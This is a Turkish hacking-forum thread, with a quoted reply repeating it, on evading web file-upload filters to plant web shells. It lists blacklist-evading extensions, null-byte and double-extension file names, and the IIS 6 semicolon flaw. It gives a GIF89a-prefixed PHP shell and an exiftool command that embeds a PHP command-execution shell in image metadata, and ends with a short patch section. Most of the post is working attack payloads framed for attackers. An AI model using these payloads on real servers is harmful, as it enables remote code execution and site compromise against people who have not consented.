Güvenli Olmayan Dosya Uzantıları

shell-shockers-hacker.gif


Kullanıcı tarafından yüklenen dosyalar, bilgisayar korsanlarına çevrimiçi uygulamalara erişim noktası sağlayarak, güvenli yönetimlerini yöneticiler ve güvenlik ekibi için kritik bir görev haline getirebilir. Bu dosyalar düzgün bir şekilde doğrulanmazsa, uzaktaki bir saldırgan web sunucusuna kötü amaçlı bir dosya yükleyerek ciddi bir ihlale neden olabilir. Kötü amaçlı dosya yüklemeleri, yetersiz dosya doğrulamasından kaynaklanır. Bu, kod yürütmeyle sonuçlanır. OWASP'ye göre sınırsız dosya yükleme güvenlik açıkları iki tür saldırıya izin verebilir. Web uygulamalarının genellikle bu tür saldırıları daha zor hale getirmek için sınırları vardır, ancak bilgisayar korsanlarının dosya yükleme kısıtlamalarını atlatmak ve ters bir kabuk elde etmek için kullanabilecekleri çeşitli taktikler vardır.


SERuL7.gif




Kara Liste ve Bypass

Kara listeye alma, belirli veri dizilerinin, genellikle belirli uzantıların, web uygulaması sunucusuna teslim edilmesinin açıkça yasaklandığı bir tür güvenliktir. Bu, tehlikeli uzantıların, genellikle kabukların web sitenizde yayınlanmasını önlemenin en iyi yöntemi gibi görünebilir, ancak bunları aşmak zor değildir. İşte kara liste filtrelemesinden kaçınmak için bazı alternatif uzantılar.

php.txt, .sh, .pht, .phtml, .phP, .Php, .php7, .php%00.jpeg, .cgi

Sunucu tarafından oluşturulan bir web sayfası olan JSP, web kabukları için başka bir yaygın uzantıdır. ActiveX veya PHP yerine Java kodunu içermesi dışında bir.ASP veya.PHP dosyasıyla karşılaştırılabilir.

.MF, .jspx, .jspf, .jsw, .jsv, xml, .war, .jsp, .aspx


SERuL7.gif




Beyaz Liste ve Bypass

İkinci yöntem, beyaz listeleri kullanmaktır. Beyaz liste, adından da anlaşılacağı gibi, kara listenin tersidir. Bu sunucuların beyaz listeleri yalnızca jpeg, gif, png, jpg ve benzerlerine izin verecektir. Bu, sunucunuzu korumak için bir kara liste kullanmaktan daha iyi bir yöntem gibi görünebilir, ancak yine de birkaç yol kullanılarak atlatılabilir. Bu stratejinin de bazı sakıncaları vardır. Bunlar, kullanıcıların bu güvenliği aşmasına izin veren sunucu tarafı kusurlarının kayıtlarıdır ve bunlardan biri:

IIS 6'daki noktalı virgül güvenlik açığı, kullanıcıların test.asp;.jpg gibi adlara sahip dosyaları yüklemesine ve yürütmesine izin veren bir ayrıştırıcı kusurundan kaynaklanır.
Bilgisayar korsanları, resim uzantılı bir ters kabuk kullanarak bir web uygulamasını JPG/PNG uzantılı bir php dosyasını kabul etmesi için kandırabilir:


payload.php.jpg

Beyaz liste filtrelerini atlatmak için boş karakter enjeksiyonu da kullanabiliriz ve dosya kaydedildiğinde karakterlerin dikkate alınmamasına neden olabiliriz; bunu yasaklanmış ve yetkili bir uzantı arasına enjekte etmek baypasa neden olabilir:

payload.php%00.jpg OR payload.php\x00.jpg

Bir beyaz liste yalnızca resimlere izin veriyorsa, gif dosyalarını da kabul edebilir. GIF89a ekleyerek; kabuğunuzun en tepesine kadar, sınırı aşabilir ve kabuğu çalıştırabilirsiniz.

GIF89a; <?php system($_GET['cmd']); ?>


SERuL7.gif



Exif Verileri, ExifTool ve Baypass

Dosya yükleme sınırlamalarından kaçınmak için aşağıdaki yaklaşım, herhangi bir fotoğraftaki konum, ad, kullanılan kamera ve çok daha fazlası gibi Exif verilerinden yararlanır. Resim gönderildiğinde, web uygulaması ters kabuk yükü içeren bir yorum çalıştırabilir.

Yükünüzü exiftool gibi bir araçla ekleyebilirsiniz.

Görüntünüze bilgi olarak kısa bir komut shell eklemek şöyle görünebilir:

$ exiftool -DocumentName="<h1>chiara<br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>" pwtoken.jpeg

Exiftool, fotoğrafınıza yeni eklenen yorumu aramak için kullanılabilir.

$ exiftool pwtoken.jpeg

Ardından, web uygulaması sunucusuna girdikten sonra, çalıştırılabilir bir dosya yapmak için bir kabuk uzantısı ekleyin:

$ mv catphoto.jpg catphoto.php\x00.jpg

Kara liste ve beyaz listelerin herhangi birinden veya her ikisinden birden kaçınmak için bunu bu makalenin başında sağlanan prosedürlerle birlikte kullanın.

Yama

Dosya uzantısını kontrol ederek ve yalnızca belirli dosyaların yayınlanmasına izin vererek yüklenebilecek dosya türlerini sınırlayın. Kara liste yerine beyaz liste kullanın. php.png gibi çift uzantılardan kaçınılmalıdır. htaccess gibi dosya adı olmayan dosyaları arayın (ASP.NET'te web.config gibi yapılandırma dosyalarını kontrol edin). Yükleme klasörünün izinlerini, içindeki dosyalar çalıştırılamaz olacak şekilde değiştirin. Mümkünse, yüklenen dosyaları yeniden adlandırın.
 

BozBarbar

Üye
11 Tem 2023
61
21
shell-shockers-hacker.gif


Kullanıcı tarafından yüklenen dosyalar, bilgisayar korsanlarına çevrimiçi uygulamalara erişim noktası sağlayarak, güvenli yönetimlerini yöneticiler ve güvenlik ekibi için kritik bir görev haline getirebilir. Bu dosyalar düzgün bir şekilde doğrulanmazsa, uzaktaki bir saldırgan web sunucusuna kötü amaçlı bir dosya yükleyerek ciddi bir ihlale neden olabilir. Kötü amaçlı dosya yüklemeleri, yetersiz dosya doğrulamasından kaynaklanır. Bu, kod yürütmeyle sonuçlanır. OWASP'ye göre sınırsız dosya yükleme güvenlik açıkları iki tür saldırıya izin verebilir. Web uygulamalarının genellikle bu tür saldırıları daha zor hale getirmek için sınırları vardır, ancak bilgisayar korsanlarının dosya yükleme kısıtlamalarını atlatmak ve ters bir kabuk elde etmek için kullanabilecekleri çeşitli taktikler vardır.


SERuL7.gif




Kara Liste ve Bypass

Kara listeye alma, belirli veri dizilerinin, genellikle belirli uzantıların, web uygulaması sunucusuna teslim edilmesinin açıkça yasaklandığı bir tür güvenliktir. Bu, tehlikeli uzantıların, genellikle kabukların web sitenizde yayınlanmasını önlemenin en iyi yöntemi gibi görünebilir, ancak bunları aşmak zor değildir. İşte kara liste filtrelemesinden kaçınmak için bazı alternatif uzantılar.

php.txt, .sh, .pht, .phtml, .phP, .Php, .php7, .php%00.jpeg, .cgi

Sunucu tarafından oluşturulan bir web sayfası olan JSP, web kabukları için başka bir yaygın uzantıdır. ActiveX veya PHP yerine Java kodunu içermesi dışında bir.ASP veya.PHP dosyasıyla karşılaştırılabilir.

.MF, .jspx, .jspf, .jsw, .jsv, xml, .war, .jsp, .aspx


SERuL7.gif




Beyaz Liste ve Bypass

İkinci yöntem, beyaz listeleri kullanmaktır. Beyaz liste, adından da anlaşılacağı gibi, kara listenin tersidir. Bu sunucuların beyaz listeleri yalnızca jpeg, gif, png, jpg ve benzerlerine izin verecektir. Bu, sunucunuzu korumak için bir kara liste kullanmaktan daha iyi bir yöntem gibi görünebilir, ancak yine de birkaç yol kullanılarak atlatılabilir. Bu stratejinin de bazı sakıncaları vardır. Bunlar, kullanıcıların bu güvenliği aşmasına izin veren sunucu tarafı kusurlarının kayıtlarıdır ve bunlardan biri:

IIS 6'daki noktalı virgül güvenlik açığı, kullanıcıların test.asp;.jpg gibi adlara sahip dosyaları yüklemesine ve yürütmesine izin veren bir ayrıştırıcı kusurundan kaynaklanır.
Bilgisayar korsanları, resim uzantılı bir ters kabuk kullanarak bir web uygulamasını JPG/PNG uzantılı bir php dosyasını kabul etmesi için kandırabilir:


payload.php.jpg

Beyaz liste filtrelerini atlatmak için boş karakter enjeksiyonu da kullanabiliriz ve dosya kaydedildiğinde karakterlerin dikkate alınmamasına neden olabiliriz; bunu yasaklanmış ve yetkili bir uzantı arasına enjekte etmek baypasa neden olabilir:

payload.php%00.jpg OR payload.php\x00.jpg

Bir beyaz liste yalnızca resimlere izin veriyorsa, gif dosyalarını da kabul edebilir. GIF89a ekleyerek; kabuğunuzun en tepesine kadar, sınırı aşabilir ve kabuğu çalıştırabilirsiniz.

GIF89a; <?php system($_GET['cmd']); ?>


SERuL7.gif



Exif Verileri, ExifTool ve Baypass

Dosya yükleme sınırlamalarından kaçınmak için aşağıdaki yaklaşım, herhangi bir fotoğraftaki konum, ad, kullanılan kamera ve çok daha fazlası gibi Exif verilerinden yararlanır. Resim gönderildiğinde, web uygulaması ters kabuk yükü içeren bir yorum çalıştırabilir.

Yükünüzü exiftool gibi bir araçla ekleyebilirsiniz.

Görüntünüze bilgi olarak kısa bir komut shell eklemek şöyle görünebilir:

$ exiftool -DocumentName="<h1>chiara<br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>" pwtoken.jpeg

Exiftool, fotoğrafınıza yeni eklenen yorumu aramak için kullanılabilir.

$ exiftool pwtoken.jpeg

Ardından, web uygulaması sunucusuna girdikten sonra, çalıştırılabilir bir dosya yapmak için bir kabuk uzantısı ekleyin:


$ mv catphoto.jpg catphoto.php\x00.jpg

Kara liste ve beyaz listelerin herhangi birinden veya her ikisinden birden kaçınmak için bunu bu makalenin başında sağlanan prosedürlerle birlikte kullanın.

Yama

Dosya uzantısını kontrol ederek ve yalnızca belirli dosyaların yayınlanmasına izin vererek yüklenebilecek dosya türlerini sınırlayın. Kara liste yerine beyaz liste kullanın. php.png gibi çift uzantılardan kaçınılmalıdır. htaccess gibi dosya adı olmayan dosyaları arayın (ASP.NET'te web.config gibi yapılandırma dosyalarını kontrol edin). Yükleme klasörünün izinlerini, içindeki dosyalar çalıştırılamaz olacak şekilde değiştirin. Mümkünse, yüklenen dosyaları yeniden adlandırın.
ellerinize sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.